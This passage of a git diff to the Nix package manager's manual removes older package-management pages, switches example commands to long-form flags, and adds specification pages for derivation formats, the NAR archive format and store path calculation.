`"/nix/store/-foo.txt"`. - - Note that the Nix language assumes that all input files will remain - _unchanged_ during the course of the Nix expression evaluation. - If you for example antiquote a file path during a `nix repl` session, and - then later in the same session, after having changed the file contents, - evaluate the antiquotation with the file path again, then Nix will still - return the first store path. It will _not_ reread the file contents to - produce a different Nix store path. - -- Boolean - - *Booleans* with values `true` and `false`. - -- Null - - The null value, denoted as `null`. - -## List - -Lists are formed by enclosing a whitespace-separated list of values -between square brackets. For example, - -```nix -[ 123 ./foo.nix "abc" (f { x = y; }) ] -``` - -defines a list of four elements, the last being the result of a call to -the function `f`. Note that function calls have to be enclosed in -parentheses. If they had been omitted, e.g., - -```nix -[ 123 ./foo.nix "abc" f { x = y; } ] -``` - -the result would be a list of five elements, the fourth one being a -function and the fifth being a set. - -Note that lists are only lazy in values, and they are strict in length. - -## Attribute Set - -An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`). - -Names and values are separated by an equal sign (`=`). -Each value is an arbitrary expression terminated by a semicolon (`;`). - -Attributes can appear in any order. -An attribute name may only occur once. - -Example: - -```nix -{ - x = 123; - text = "Hello"; - y = f { bla = 456; }; -} -``` - -This defines a set with attributes named `x`, `text`, `y`. - -Attributes can be selected from a set using the `.` operator. For -instance, - -```nix -{ a = "Foo"; b = "Bar"; }.a -``` - -evaluates to `"Foo"`. It is possible to provide a default value in an -attribute selection using the `or` keyword. For example, - -```nix -{ a = "Foo"; b = "Bar"; }.c or "Xyzzy" -``` - -will evaluate to `"Xyzzy"` because there is no `c` attribute in the set. - -You can use arbitrary double-quoted strings as attribute names: - -```nix -{ "foo ${bar}" = 123; "nix-1.0" = 456; }."foo ${bar}" -``` - -This will evaluate to `123` (Assuming `bar` is antiquotable). In the -case where an attribute name is just a single antiquotation, the quotes -can be dropped: - -```nix -{ foo = 123; }.${bar} or 456 -``` - -This will evaluate to `123` if `bar` evaluates to `"foo"` when coerced -to a string and `456` otherwise (again assuming `bar` is antiquotable). - -In the special case where an attribute name inside of a set declaration -evaluates to `null` (which is normally an error, as `null` is not -antiquotable), that attribute is simply not added to the set: - -```nix -{ ${if foo then "bar" else null} = true; } -``` - -This will evaluate to `{}` if `foo` evaluates to `false`. - -A set that has a `__functor` attribute whose value is callable (i.e. is -itself a function or a set with a `__functor` attribute whose value is -callable) can be applied as if it were a function, with the set itself -passed in first , e.g., - -```nix -let add = { __functor = self: x: x + self.x; }; - inc = add // { x = 1; }; -in inc 1 -``` - -evaluates to `2`. This can be used to attach metadata to a function -without the caller needing to treat it specially, or to implement a form -of object-oriented programming, for example. diff --git a/doc/manual/src/language/variables.md b/doc/manual/src/language/variables.md new file mode 100644 index 000000000..af6aff8a2 --- /dev/null +++ b/doc/manual/src/language/variables.md @@ -0,0 +1,10 @@ +# Variables + +A *variable* is an [identifier](identifiers.md) used as an expression. + +> **Syntax** +> +> *expression* → *identifier* + +A variable must have the same name as a definition in the [scope](./scope.md) that encloses it. +The value of a variable is the value of the corresponding expression in the enclosing scope. diff --git a/doc/manual/src/package-management/basic-package-mgmt.md b/doc/manual/src/package-management/basic-package-mgmt.md deleted file mode 100644 index 5f1d7a89c..000000000 --- a/doc/manual/src/package-management/basic-package-mgmt.md +++ /dev/null @@ -1,179 +0,0 @@ -# Basic Package Management - -The main command for package management is -[`nix-env`](../command-ref/nix-env.md). You can use it to install, -upgrade, and erase packages, and to query what packages are installed -or are available for installation. - -In Nix, different users can have different “views” on the set of -installed applications. That is, there might be lots of applications -present on the system (possibly in many different versions), but users -can have a specific selection of those active — where “active” just -means that it appears in a directory in the user’s `PATH`. Such a view -on the set of installed applications is called a *user environment*, -which is just a directory tree consisting of symlinks to the files of -the active applications. - -Components are installed from a set of *Nix expressions* that tell Nix -how to build those packages, including, if necessary, their -dependencies. There is a collection of Nix expressions called the -Nixpkgs package collection that contains packages ranging from basic -development stuff such as GCC and Glibc, to end-user applications like -Mozilla Firefox. (Nix is however not tied to the Nixpkgs package -collection; you could write your own Nix expressions based on Nixpkgs, -or completely new ones.) - -You can manually download the latest version of Nixpkgs from -. However, it’s much more -convenient to use the Nixpkgs [*channel*](channels.md), since it makes -it easy to stay up to date with new versions of Nixpkgs. Nixpkgs is -automatically added to your list of “subscribed” channels when you -install Nix. If this is not the case for some reason, you can add it -as follows: - -```console -$ nix-channel --add https://nixos.org/channels/nixpkgs-unstable -$ nix-channel --update -``` - -> **Note** -> -> On NixOS, you’re automatically subscribed to a NixOS channel -> corresponding to your NixOS major release (e.g. -> ). A NixOS channel is identical -> to the Nixpkgs channel, except that it contains only Linux binaries -> and is updated only if a set of regression tests succeed. - -You can view the set of available packages in Nixpkgs: - -```console -$ nix-env -qaP -nixpkgs.aterm aterm-2.2 -nixpkgs.bash bash-3.0 -nixpkgs.binutils binutils-2.15 -nixpkgs.bison bison-1.875d -nixpkgs.blackdown blackdown-1.4.2 -nixpkgs.bzip2 bzip2-1.0.2 -… -``` - -The flag `-q` specifies a query operation, `-a` means that you want -to show the “available” (i.e., installable) packages, as opposed to the -installed packages, and `-P` prints the attribute paths that can be used -to unambiguously select a package for installation (listed in the first column). -If you downloaded Nixpkgs yourself, or if you checked it out from GitHub, -then you need to pass the path to your Nixpkgs tree using the `-f` flag: - -```console -$ nix-env -qaPf /path/to/nixpkgs -aterm aterm-2.2 -bash bash-3.0 -… -``` - -where */path/to/nixpkgs* is where you’ve unpacked or checked out -Nixpkgs. - -You can filter the packages by name: - -```console -$ nix-env -qaP firefox -nixpkgs.firefox-esr firefox-91.3.0esr -nixpkgs.firefox firefox-94.0.1 -``` - -and using regular expressions: - -```console -$ nix-env -qaP 'firefox.*' -``` - -It is also possible to see the *status* of available packages, i.e., -whether they are installed into the user environment and/or present in -the system: - -```console -$ nix-env -qaPs -… --PS nixpkgs.bash bash-3.0 ---S nixpkgs.binutils binutils-2.15 -IPS nixpkgs.bison bison-1.875d -… -``` - -The first character (`I`) indicates whether the package is installed in -your current user environment. The second (`P`) indicates whether it is -present on your system (in which case installing it into your user -environment would be a very quick operation). The last one (`S`) -indicates whether there is a so-called *substitute* for the package, -which is Nix’s mechanism for doing binary deployment. It just means that -Nix knows that it can fetch a pre-built package from somewhere -(typically a network server) instead of building it locally. - -You can install a package using `nix-env -iA`. For instance, - -```console -$ nix-env -iA nixpkgs.subversion -``` - -will install the package called `subversion` from `nixpkgs` channel (which is, of course, the -[Subversion version management system](http://subversion.tigris.org/)). - -> **Note** -> -> When you ask Nix to install a package, it will first try to get it in -> pre-compiled form from a *binary cache*. By default, Nix will use the -> binary cache ; it contains binaries for most -> packages in Nixpkgs. Only if no binary is available in the binary -> cache, Nix will build the package from source. So if `nix-env -> -iA nixpkgs.subversion` results in Nix building stuff from source, then either -> the package is not built for your platform by the Nixpkgs build -> servers, or your version of Nixpkgs is too old or too new. For -> instance, if you have a very recent checkout of Nixpkgs, then the -> Nixpkgs build servers may not have had a chance to build everything -> and upload the resulting binaries to . The -> Nixpkgs channel is only updated after all binaries have been uploaded -> to the cache, so if you stick to the Nixpkgs channel (rather than -> using a Git checkout of the Nixpkgs tree), you will get binaries for -> most packages. - -Naturally, packages can also be uninstalled. Unlike when installing, you will -need to use the derivation name (though the version part can be omitted), -instead of the attribute path, as `nix-env` does not record which attribute -was used for installing: - -```console -$ nix-env -e subversion -``` - -Upgrading to a new version is just as easy. If you have a new release of -Nix Packages, you can do: - -```console -$ nix-env -uA nixpkgs.subversion -``` - -This will *only* upgrade Subversion if there is a “newer” version in the -new set of Nix expressions, as defined by some pretty arbitrary rules -regarding ordering of version numbers (which generally do what you’d -expect of them). To just unconditionally replace Subversion with -whatever version is in the Nix expressions, use `-i` instead of `-u`; -`-i` will remove whatever version is already installed. - -You can also upgrade all packages for which there are newer versions: - -```console -$ nix-env -u -``` - -Sometimes it’s useful to be able to ask what `nix-env` would do, without -actually doing it. For instance, to find out what packages would be -upgraded by `nix-env -u`, you can do - -```console -$ nix-env -u --dry-run -(dry run; not doing anything) -upgrading `libxslt-1.1.0' to `libxslt-1.1.10' -upgrading `graphviz-1.10' to `graphviz-1.12' -upgrading `coreutils-5.0' to `coreutils-5.2.1' -``` diff --git a/doc/manual/src/package-management/binary-cache-substituter.md b/doc/manual/src/package-management/binary-cache-substituter.md index ef738794b..855eaf470 100644 --- a/doc/manual/src/package-management/binary-cache-substituter.md +++ b/doc/manual/src/package-management/binary-cache-substituter.md @@ -9,7 +9,7 @@ The daemon that handles binary cache requests via HTTP, `nix-serve`, is not part of the Nix distribution, but you can install it from Nixpkgs: ```console -$ nix-env -iA nixpkgs.nix-serve +$ nix-env --install --attr nixpkgs.nix-serve ``` You can then start the server, listening for HTTP connections on @@ -32,13 +32,13 @@ which should print something like: Priority: 30 On the client side, you can tell Nix to use your binary cache using -`--option extra-binary-caches`, e.g.: +`--substituters`, e.g.: ```console -$ nix-env -iA nixpkgs.firefox --option extra-binary-caches http://avalon:8080/ +$ nix-env --install --attr nixpkgs.firefox --substituters http://avalon:8080/ ``` -The option `extra-binary-caches` tells Nix to use this binary cache in +The option `substituters` tells Nix to use this binary cache in addition to your default caches, such as . Thus, for any path in the closure of Firefox, Nix will first check if the path is available on the server `avalon` or another binary caches. @@ -47,4 +47,4 @@ If not, it will fall back to building from source. You can also tell Nix to always use your binary cache by adding a line to the `nix.conf` configuration file like this: - binary-caches = http://avalon:8080/ https://cache.nixos.org/ + substituters = http://avalon:8080/ https://cache.nixos.org/ diff --git a/doc/manual/src/package-management/channels.md b/doc/manual/src/package-management/channels.md deleted file mode 100644 index 93c8b41a6..000000000 --- a/doc/manual/src/package-management/channels.md +++ /dev/null @@ -1,50 +0,0 @@ -# Channels - -If you want to stay up to date with a set of packages, it’s not very -convenient to manually download the latest set of Nix expressions for -those packages and upgrade using `nix-env`. Fortunately, there’s a -better way: *Nix channels*. - -A Nix channel is just a URL that points to a place that contains a set -of Nix expressions and a manifest. Using the command -[`nix-channel`](../command-ref/nix-channel.md) you can automatically -stay up to date with whatever is available at that URL. - -To see the list of official NixOS channels, visit -. - -You can “subscribe” to a channel using `nix-channel --add`, e.g., - -```console -$ nix-channel --add https://nixos.org/channels/nixpkgs-unstable -``` - -subscribes you to a channel that always contains that latest version of -the Nix Packages collection. (Subscribing really just means that the URL -is added to the file `~/.nix-channels`, where it is read by subsequent -calls to `nix-channel ---update`.) You can “unsubscribe” using `nix-channel ---remove`: - -```console -$ nix-channel --remove nixpkgs -``` - -To obtain the latest Nix expressions available in a channel, do - -```console -$ nix-channel --update -``` - -This downloads and unpacks the Nix expressions in every channel -(downloaded from `url/nixexprs.tar.bz2`). It also makes the union of -each channel’s Nix expressions available by default to `nix-env` -operations (via the symlink `~/.nix-defexpr/channels`). Consequently, -you can then say - -```console -$ nix-env -u -``` - -to upgrade all packages in your profile to the latest versions available -in the subscribed channels. diff --git a/doc/manual/src/package-management/copy-closure.md b/doc/manual/src/package-management/copy-closure.md deleted file mode 100644 index d3fac4d76..000000000 --- a/doc/manual/src/package-management/copy-closure.md +++ /dev/null @@ -1,34 +0,0 @@ -# Copying Closures via SSH - -The command `nix-copy-closure` copies a Nix store path along with all -its dependencies to or from another machine via the SSH protocol. It -doesn’t copy store paths that are already present on the target machine. -For example, the following command copies Firefox with all its -dependencies: - - $ nix-copy-closure --to alice@itchy.example.org $(type -p firefox) - -See the [manpage for `nix-copy-closure`](../command-ref/nix-copy-closure.md) for details. - -With `nix-store ---export` and `nix-store --import` you can write the closure of a store -path (that is, the path and all its dependencies) to a file, and then -unpack that file into another Nix store. For example, - - $ nix-store --export $(nix-store -qR $(type -p firefox)) > firefox.closure - -writes the closure of Firefox to a file. You can then copy this file to -another machine and install the closure: - - $ nix-store --import < firefox.closure - -Any store paths in the closure that are already present in the target -store are ignored. It is also possible to pipe the export into another -command, e.g. to copy and install a closure directly to/on another -machine: - - $ nix-store --export $(nix-store -qR $(type -p firefox)) | bzip2 | \ - ssh alice@itchy.example.org "bunzip2 | nix-store --import" - -However, `nix-copy-closure` is generally more efficient because it only -copies paths that are not already present in the target Nix store. diff --git a/doc/manual/src/package-management/package-management.md b/doc/manual/src/package-management/index.md similarity index 100% rename from doc/manual/src/package-management/package-management.md rename to doc/manual/src/package-management/index.md diff --git a/doc/manual/src/package-management/profiles.md b/doc/manual/src/package-management/profiles.md index d1a2580d4..1d9e672a8 100644 --- a/doc/manual/src/package-management/profiles.md +++ b/doc/manual/src/package-management/profiles.md @@ -39,7 +39,7 @@ just Subversion 1.1.2 (arrows in the figure indicate symlinks). This would be what we would obtain if we had done ```console -$ nix-env -iA nixpkgs.subversion +$ nix-env --install --attr nixpkgs.subversion ``` on a set of Nix expressions that contained Subversion 1.1.2. @@ -54,7 +54,7 @@ environment is generated based on the current one. For instance, generation 43 was created from generation 42 when we did ```console -$ nix-env -iA nixpkgs.subversion nixpkgs.firefox +$ nix-env --install --attr nixpkgs.subversion nixpkgs.firefox ``` on a set of Nix expressions that contained Firefox and a new version of @@ -127,7 +127,7 @@ All `nix-env` operations work on the profile pointed to by (abbreviation `-p`): ```console -$ nix-env -p /nix/var/nix/profiles/other-profile -iA nixpkgs.subversion +$ nix-env --profile /nix/var/nix/profiles/other-profile --install --attr nixpkgs.subversion ``` This will *not* change the `~/.nix-profile` symlink. diff --git a/doc/manual/src/package-management/s3-substituter.md b/doc/manual/src/package-management/s3-substituter.md deleted file mode 100644 index 30f2b2e11..000000000 --- a/doc/manual/src/package-management/s3-substituter.md +++ /dev/null @@ -1,145 +0,0 @@ -# Serving a Nix store via S3 - -Nix has built-in support for storing and fetching store paths from -Amazon S3 and S3-compatible services. This uses the same *binary* -cache mechanism that Nix usually uses to fetch prebuilt binaries from -[cache.nixos.org](https://cache.nixos.org/). - -The following options can be specified as URL parameters to the S3 URL: - - - `profile`\ - The name of the AWS configuration profile to use. By default Nix - will use the `default` profile. - - - `region`\ - The region of the S3 bucket. `us–east-1` by default. - - If your bucket is not in `us–east-1`, you should always explicitly - specify the region parameter. - - - `endpoint`\ - The URL to your S3-compatible service, for when not using Amazon S3. - Do not specify this value if you're using Amazon S3. - - > **Note** - > - > This endpoint must support HTTPS and will use path-based - > addressing instead of virtual host based addressing. - - - `scheme`\ - The scheme used for S3 requests, `https` (default) or `http`. This - option allows you to disable HTTPS for binary caches which don't - support it. - - > **Note** - > - > HTTPS should be used if the cache might contain sensitive - > information. - -In this example we will use the bucket named `example-nix-cache`. - -## Anonymous Reads to your S3-compatible binary cache - -If your binary cache is publicly accessible and does not require -authentication, the simplest and easiest way to use Nix with your S3 -compatible binary cache is to use the HTTP URL for that cache. - -For AWS S3 the binary cache URL for example bucket will be exactly - or -. For S3 compatible binary caches, consult that -cache's documentation. - -Your bucket will need the following bucket policy: - -```json -{ - "Id": "DirectReads", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "AllowDirectReads", - "Action": [ - "s3:GetObject", - "s3:GetBucketLocation" - ], - "Effect": "Allow", - "Resource": [ - "arn:aws:s3:::example-nix-cache", - "arn:aws:s3:::example-nix-cache/*" - ], - "Principal": "*" - } - ] -} -``` - -## Authenticated Reads to your S3 binary cache - -For AWS S3 the binary cache URL for example bucket will be exactly -. - -Nix will use the [default credential provider -chain](https://docs.aws.amazon.com/sdk-for-cpp/v1/developer-guide/credentials.html) -for authenticating requests to Amazon S3. - -Nix supports authenticated reads from Amazon S3 and S3 compatible binary -caches. - -Your bucket will need a bucket policy allowing the desired users to -perform the `s3:GetObject` and `s3:GetBucketLocation` action on all -objects in the bucket. The [anonymous policy given -above](#anonymous-reads-to-your-s3-compatible-binary-cache) can be -updated to have a restricted `Principal` to support this. - -## Authenticated Writes to your S3-compatible binary cache - -Nix support fully supports writing to Amazon S3 and S3 compatible -buckets. The binary cache URL for our example bucket will be -. - -Nix will use the [default credential provider -chain](https://docs.aws.amazon.com/sdk-for-cpp/v1/developer-guide/credentials.html) -for authenticating requests to Amazon S3. - -Your account will need the following IAM policy to upload to the cache: - -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "UploadToCache", - "Effect": "Allow", - "Action": [ - "s3:AbortMultipartUpload", - "s3:GetBucketLocation", - "s3:GetObject", - "s3:ListBucket", - "s3:ListBucketMultipartUploads", - "s3:ListMultipartUploadParts", - "s3:PutObject" - ], - "Resource": [ - "arn:aws:s3:::example-nix-cache", - "arn:aws:s3:::example-nix-cache/*" - ] - } - ] -} -``` - -## Examples - -To upload with a specific credential profile for Amazon S3: - -```console -$ nix copy nixpkgs.hello \ - --to 's3://example-nix-cache?profile=cache-upload®ion=eu-west-2' -``` - -To upload to an S3-compatible binary cache: - -```console -$ nix copy nixpkgs.hello --to \ - 's3://example-nix-cache?profile=cache-upload&scheme=https&endpoint=minio.example.com' -``` diff --git a/doc/manual/src/package-management/ssh-substituter.md b/doc/manual/src/package-management/ssh-substituter.md index c59933f61..7014c3cc8 100644 --- a/doc/manual/src/package-management/ssh-substituter.md +++ b/doc/manual/src/package-management/ssh-substituter.md @@ -6,7 +6,7 @@ automatically fetching any store paths in Firefox’s closure if they are available on the server `avalon`: ```console -$ nix-env -iA nixpkgs.firefox --substituters ssh://alice@avalon +$ nix-env --install --attr nixpkgs.firefox --substituters ssh://alice@avalon ``` This works similar to the binary cache substituter that Nix usually @@ -25,7 +25,7 @@ You can also copy the closure of some store path, without installing it into your profile, e.g. ```console -$ nix-store -r /nix/store/m85bxg…-firefox-34.0.5 --substituters +$ nix-store --realise /nix/store/m85bxg…-firefox-34.0.5 --substituters ssh://alice@avalon ``` diff --git a/doc/manual/src/protocols/derivation-aterm.md b/doc/manual/src/protocols/derivation-aterm.md new file mode 100644 index 000000000..1ba757ae0 --- /dev/null +++ b/doc/manual/src/protocols/derivation-aterm.md @@ -0,0 +1,19 @@ +# Derivation "ATerm" file format + +For historical reasons, [derivations](@docroot@/glossary.md#gloss-store-derivation) are stored on-disk in [ATerm](https://homepages.cwi.nl/~daybuild/daily-books/technology/aterm-guide/aterm-guide.html) format. + +Derivations are serialised in one of the following formats: + +- ``` + Derive(...) + ``` + + For all stable derivations. + +- ``` + DrvWithVersion(, ...) + ``` + + The only `version-string`s that are in use today are for [experimental features](@docroot@/development/experimental-features.md): + + - `"xp-dyn-drv"` for the [`dynamic-derivations`](@docroot@/development/experimental-features.md#xp-feature-dynamic-derivations) experimental feature. diff --git a/doc/manual/src/protocols/index.md b/doc/manual/src/protocols/index.md new file mode 100644 index 000000000..d6bf1d809 --- /dev/null +++ b/doc/manual/src/protocols/index.md @@ -0,0 +1,4 @@ +# Protocols + +This chapter documents various developer-facing interfaces provided by +Nix. diff --git a/doc/manual/src/protocols/json/derivation.md b/doc/manual/src/protocols/json/derivation.md new file mode 100644 index 000000000..2f85340d6 --- /dev/null +++ b/doc/manual/src/protocols/json/derivation.md @@ -0,0 +1,92 @@ +# Derivation JSON Format + +> **Warning** +> +> This JSON format is currently +> [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) +> and subject to change. + +The JSON serialization of a +[derivations](@docroot@/glossary.md#gloss-store-derivation) +is a JSON object with the following fields: + +* `name`: + The name of the derivation. + This is used when calculating the store paths of the derivation's outputs. + +* `outputs`: + Information about the output paths of the derivation. + This is a JSON object with one member per output, where the key is the output name and the value is a JSON object with these fields: + + * `path`: + The output path, if it is known in advanced. + Otherwise, `null`. + + + * `method`: + For an output which will be [content addresed], a string representing the [method](@docroot@/store/store-object/content-address.md) of content addressing that is chosen. + Valid method strings are: + + - [`flat`](@docroot@/store/store-object/content-address.md#method-flat) + - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive) + - [`text`](@docroot@/store/store-object/content-address.md#method-text) + - [`git`](@docroot@/store/store-object/content-address.md#method-git) + + Otherwise, `null`. + + * `hashAlgo`: + For an output which will be [content addresed], the name of the hash algorithm used. + Valid algorithm strings are: + + - `md5` + - `sha1` + - `sha256` + - `sha512` + + * `hash`: + For fixed-output derivations, the expected content hash in base-16. + + > **Example** + > + > ```json + > "outputs": { + > "out": { + > "path": "/nix/store/2543j7c6jn75blc3drf4g5vhb1rhdq29-source", + > "method": "nar", + > "hashAlgo": "sha256", + > "hash": "6fc80dcc62179dbc12fc0b5881275898f93444833d21b89dfe5f7fbcbb1d0d62" + > } + > } + > ``` + +* `inputSrcs`: + A list of store paths on which this derivation depends. + +* `inputDrvs`: + A JSON object specifying the derivations on which this derivation depends, and what outputs of those derivations. + + > **Example** + > + > ```json + > "inputDrvs": { + > "/nix/store/6lkh5yi7nlb7l6dr8fljlli5zfd9hq58-curl-7.73.0.drv": ["dev"], + > "/nix/store/fn3kgnfzl5dzym26j8g907gq3kbm8bfh-unzip-6.0.drv": ["out"] + > } + > ``` + + specifies that this derivation depends on the `dev` output of `curl`, and the `out` output of `unzip`. + +* `system`: + The system type on which this derivation is to be built + (e.g. `x86_64-linux`). + +* `builder`: + The absolute path of the program to be executed to run the build. + Typically this is the `bash` shell + (e.g. `/nix/store/r3j288vpmczbl500w6zz89gyfa4nr0b1-bash-4.4-p23/bin/bash`). + +* `args`: + The command-line arguments passed to the `builder`. + +* `env`: + The environment passed to the `builder`. diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md new file mode 100644 index 000000000..6b4f48437 --- /dev/null +++ b/doc/manual/src/protocols/json/store-object-info.md @@ -0,0 +1,102 @@ +# Store object info JSON format + +> **Warning** +> +> This JSON format is currently +> [**experimental**](@docroot@/development/experimental-features.md#xp-feature-nix-command) +> and subject to change. + +Info about a [store object]. + +* `path`: + + [Store path][store path] to the given store object. + +* `narHash`: + + Hash of the [file system object] part of the store object when serialized as a [Nix Archive]. + +* `narSize`: + + Size of the [file system object] part of the store object when serialized as a [Nix Archive]. + +* `references`: + + An array of [store paths][store path], possibly including this one. + +* `ca`: + + If the store object is [content-addressed], + this is the content address of this store object's file system object, used to compute its store path. + Otherwise (i.e. if it is [input-addressed]), this is `null`. + +[store path]: @docroot@/store/store-path.md +[file system object]: @docroot@/store/file-system-object.md +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + +## Impure fields + +These are not intrinsic properties of the store object. +In other words, the same store object residing in different store could have different values for these properties. + +* `deriver`: + + If known, the path to the [derivation] from which this store object was produced. + Otherwise `null`. + + [derivation]: @docroot@/glossary.md#gloss-store-derivation + +* `registrationTime` (optional): + + If known, when this derivation was added to the store. + Otherwise `null`. + +* `ultimate`: + + Whether this store object is trusted because we built it ourselves, rather than substituted a build product from elsewhere. + +* `signatures`: + + Signatures claiming that this store object is what it claims to be. + Not relevant for [content-addressed] store objects, + but useful for [input-addressed] store objects. + +[content-addressed]: @docroot@/store/store-object/content-address.md +[input-addressed]: @docroot@/glossary.md#gloss-input-addressed-store-object + +### `.narinfo` extra fields + +This meta data is specific to the "binary cache" family of Nix store types. +This information is not intrinsic to the store object, but about how it is stored. + +* `url`: + + Where to download a compressed archive of the file system objects of this store object. + +* `compression`: + + The compression format that the archive is in. + +* `fileHash`: + + A digest for the compressed archive itself, as opposed to the data contained within. + +* `fileSize`: + + The size of the compressed archive itself. + +## Computed closure fields + +These fields are not stored at all, but computed by traversing the other fields across all the store objects in a [closure]. + +* `closureSize`: + + The total size of the compressed archive itself for this object, and the compressed archive of every object in this object's [closure]. + +### `.narinfo` extra fields + +* `closureSize`: + + The total size of this store object and every other object in its [closure]. + +[closure]: @docroot@/glossary.md#gloss-closure diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md new file mode 100644 index 000000000..640b527f1 --- /dev/null +++ b/doc/manual/src/protocols/nix-archive.md @@ -0,0 +1,43 @@ +# Nix Archive (NAR) format + +This is the complete specification of the [Nix Archive] format. +The Nix Archive format closely follows the abstract specification of a [file system object] tree, +because it is designed to serialize exactly that data structure. + +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#nix-archive +[file system object]: @docroot@/store/file-system-object.md + +The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), with the exception of the `str(..)` function / parameterized rule, which length-prefixes and pads strings. +This makes the resulting binary format easier to parse. + +Regular users do *not* need to know this information. +But for those interested in exactly how Nix works, e.g. if they are reimplementing it, this information can be useful. + +```ebnf +nar = str("nix-archive-1"), nar-obj; + +nar-obj = str("("), nar-obj-inner, str(")"); + +nar-obj-inner + = str("type"), str("regular") regular + | str("type"), str("symlink") symlink + | str("type"), str("directory") directory + ; + +regular = [ str("executable"), str("") ], str("contents"), str(contents); + +symlink = str("target"), str(target); + +(* side condition: directory entries must be ordered by their names *) +directory = { directory-entry }; + +directory-entry = str("entry"), str("("), str("name"), str(name), str("node"), nar-obj, str(")"); +``` + +The `str` function / parameterized rule is defined as follows: + +- `str(s)` = `int(|s|), pad(s);` + +- `int(n)` = the 64-bit little endian representation of the number `n` + +- `pad(s)` = the byte sequence `s`, padded with 0s to a multiple of 8 byte diff --git a/doc/manual/src/protocols/store-path.md b/doc/manual/src/protocols/store-path.md new file mode 100644 index 000000000..52352d358 --- /dev/null +++ b/doc/manual/src/protocols/store-path.md @@ -0,0 +1,142 @@ +# Complete Store Path Calculation + +This is the complete specification for how [store path]s are calculated. + +The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), but must deviate for a few things such as hash functions which we treat as bidirectional for specification purposes. + +Regular users do *not* need to know this information --- store paths can be treated as black boxes computed from the properties of the store objects they refer to. +But for those interested in exactly how Nix works, e.g. if they are reimplementing it, this information can be useful. + +[store path](@docroot@/store/store-path.md) + +## Store path proper + +```ebnf +store-path = store-dir "/" digest "-" name +``` +where + +- `name` = the name of the store object. + +- `store-dir` = the [store directory](@docroot@/store/store-path.md#store-directory) + +- `digest` = base-32 representation of the first 160 bits of a [SHA-256] hash of `fingerprint` + + This the hash part of the store name + +## Fingerprint + +- ```ebnf + fingerprint = type ":" sha256 ":" inner-digest ":" store ":" name + ``` + + Note that it includes the location of the store as well as the name to make sure that changes to either of those are reflected in the hash + (e.g. you won't get `/nix/store/-name1` and `/nix/store/-name2`, or `/gnu/store/-name1`, with equal hash parts). + +- `type` = one of: + + - ```ebnf + | "text" { ":" store-path } + ``` + + This is for the + ["Text"](@docroot@/store/store-object/content-address.md#method-text) + method of content addressing store objects. + The optional trailing store paths are the references of the store object. + + - ```ebnf + | "source" { ":" store-path } [ ":self" ] + ``` + + This is for the + ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive) + method of content addressing store objects, + if the hash algorithm is [SHA-256]. + Just like in the "Text" case, we can have the store objects referenced by their paths. + Additionally, we can have an optional `:self` label to denote self reference. + + - ```ebnf + | "output:" id + ``` + + For either the outputs built from derivations, + or content-addressed store objects that are not using one of the two above cases. + To be explicit about the latter, that is currently these methods: + + - ["Flat"](@docroot@/store/store-object/content-address.md#method-flat) + - ["Git"](@docroot@/store/store-object/content-address.md#method-git) + - ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive) if the hash algorithm is not [SHA-256]. + + `id` is the name of the output (usually, "out"). + For content-addressed store objects, `id`, is always "out". + +- `inner-digest` = base-16 representation of a SHA-256 hash of `inner-fingerprint` + +## Inner fingerprint + +- `inner-fingerprint` = one of the following based on `type`: + + - if `type` = `"text:" ...`: + + the string written to the resulting store path. + + - if `type` = `"source:" ...`: + + the the hash of the [Nix Archive (NAR)] serialization of the [file system object](@docroot@/store/file-system-object.md) of the store object. + + - if `type` = `"output:" id`: + + - For input-addressed derivation outputs: + + the [ATerm](@docroot@/protocols/derivation-aterm.md) serialization of the derivation modulo fixed output derivations. + + - For content-addressed store paths: + + ```ebnf + "fixed:out:" rec algo ":" hash ":" + ``` + + where + + - `rec` = one of: + + - ```ebnf + | "" + ``` + (empty string) for hashes of the flat (single file) serialization + + - ```ebnf + | "r:" + ``` + hashes of the for [Nix Archive (NAR)] (arbitrary file system object) serialization + + - ```ebnf + | "git:" + ``` + hashes of the [Git blob/tree](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects) [Merkel tree](https://en.wikipedia.org/wiki/Merkle_tree) format + + - ```ebnf + algo = "md5" | "sha1" | "sha256" + ``` + + - `hash` = base-16 representation of the path or flat hash of the contents of the path (or expected contents of the path for fixed-output derivations). + + Note that `id` = `"out"`, regardless of the name part of the store path. + Also note that NAR + SHA-256 must not use this case, and instead must use the `type` = `"source:" ...` case. + +[Nix Archive (NAR)]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive +[SHA-256]: https://en.m.wikipedia.org/wiki/SHA-256 + +### Historical Note + +The `type` = `"source:" ...` and `type` = `"output:out"` grammars technically overlap in purpose, +in that both can represent data hashed by its SHA-256 NAR serialization. + +The original reason for this way of computing names was to prevent name collisions (for security). +For instance, the thinking was that it shouldn't be feasible to come up with a derivation whose output path collides with the path for a copied source. +The former would have an `inner-fingerprint` starting with `output:out:`, while the latter would have an `inner-fingerprint` starting with `source:`. + +Since `64519cfd657d024ae6e2bb74cb21ad21b886fd2a` (2008), however, it was decided that separating derivation-produced vs manually-hashed content-addressed data like this was not useful. +Now, data that is content-addressed with SHA-256 + NAR-serialization always uses the `source:...` construction, regardless of how it was produced (manually or by derivation). +This allows freely switching between using [fixed-output derivations](@docroot@/glossary.md#gloss-fixed-output-derivation) for fetching, and fetching out-of-band and then manually adding. +It also removes the ambiguity from the grammar. diff --git a/doc/manual/src/protocols/tarball-fetcher.md b/doc/manual/src/protocols/tarball-fetcher.md new file mode 100644 index 000000000..5cff05d66 --- /dev/null +++ b/doc/manual/src/protocols/tarball-fetcher.md @@ -0,0 +1,70 @@ +# Lockable HTTP Tarball Protocol + +Tarball flakes can be served as regular tarballs via HTTP or the file +system (for `file://` URLs). Unless the server implements the Lockable +HTTP Tarball protocol, it is the 